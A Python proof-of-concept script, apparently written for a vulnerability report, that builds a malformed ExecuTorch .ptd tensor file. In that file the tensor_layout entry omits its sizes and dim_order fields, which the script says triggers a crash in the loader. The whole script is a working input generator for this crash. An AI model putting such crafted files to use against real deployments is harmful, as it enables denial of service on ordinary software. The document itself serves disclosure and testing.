#!/usr/bin/env python3
"""
Generates poc_tensorlayout_sizes_null.ptd - a well-formed .ptd file whose
single NamedData entry has a PRESENT (non-null) tensor_layout table, but
that table's own `sizes` field is omitted (dim_order is also omitted in
this PoC; either omission alone triggers the same crash class).

Requires: flatc (built from ExecuTorch's vendored third-party/flatbuffers)
and the project's flat_tensor.fbs / scalar_type.fbs schema files.

Usage:
    python3 gen_poc.py /path/to/executorch/extension/flat_tensor/serialize /path/to/flatc
"""
import os
import struct
import subprocess
import sys
import tempfile


def build(schema_dir: str, flatc: str, out_path: str) -> None:
    with tempfile.TemporaryDirectory() as d:
        for fname in ("flat_tensor.fbs", "scalar_type.fbs"):
            with open(os.path.join(schema_dir, fname), "rb") as src:
                data = src.read()
            with open(os.path.join(d, fname), "wb") as dst:
                dst.write(data)

        # NamedData entry with tensor_layout PRESENT but its scalar_type set
        # and sizes/dim_order OMITTED.
        json_path = os.path.join(d, "flat_tensor.json")
        with open(json_path, "w") as f:
            f.write(
                """{
  "version": 0,
  "segments": [ { "offset": 0, "size": 16 } ],
  "named_data": [
    {
      "key": "weight1",
      "segment_index": 0,
      "tensor_layout": { "scalar_type": 6 }
    }
  ]
}"""
            )

        subprocess.run(
            [flatc, "--binary", "flat_tensor.fbs", "flat_tensor.json"],
            cwd=d,
            check=True,
        )

        with open(os.path.join(d, "flat_tensor.ptd"), "rb") as f:
            raw_fb = f.read()

    EXPECTED_MAGIC = b"FH01"
    HEADER_LEN = 40
    FLATBUFFER_ALIGNMENT = 16
    SEGMENT_ALIGNMENT = 128

    def aligned_size(n, align):
        return (n + align - 1) // align * align

    def pad_to(data, length):
        assert len(data) <= length
        return data + bytes(length - len(data))

    def insert_header(flatbuffer_data: bytes, header_data: bytes) -> bytes:
        root_offset = int.from_bytes(flatbuffer_data[0:4], "little")
        return (
            (root_offset + len(header_data)).to_bytes(4, "little")
            + flatbuffer_data[4:8]
            + header_data
            + flatbuffer_data[8:]
        )

    padded_header_length = aligned_size(HEADER_LEN, FLATBUFFER_ALIGNMENT)
    segment_data = bytes([0x11] * 16)

    flatbuffer_offset = padded_header_length
    flatbuffer_size = len(raw_fb)
    segment_base_offset = aligned_size(flatbuffer_offset + flatbuffer_size, SEGMENT_ALIGNMENT)
    segment_data_size = len(segment_data)

    header_data = (
        EXPECTED_MAGIC
        + struct.pack("<I", HEADER_LEN)
        + struct.pack("<Q", flatbuffer_offset)
        + struct.pack("<Q", flatbuffer_size)
        + struct.pack("<Q", segment_base_offset)
        + struct.pack("<Q", segment_data_size)
    )
    header_data = pad_to(header_data, padded_header_length)

    injected = insert_header(raw_fb, header_data)
    injected = pad_to(injected, segment_base_offset)
    final = injected + segment_data

    with open(out_path, "wb") as f:
        f.write(final)

    print(f"Wrote {out_path} ({len(final)} bytes)")


if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(__doc__)
        sys.exit(1)
    build(sys.argv[1], sys.argv[2], os.path.join(os.path.dirname(__file__), "poc_tensorlayout_sizes_null.ptd"))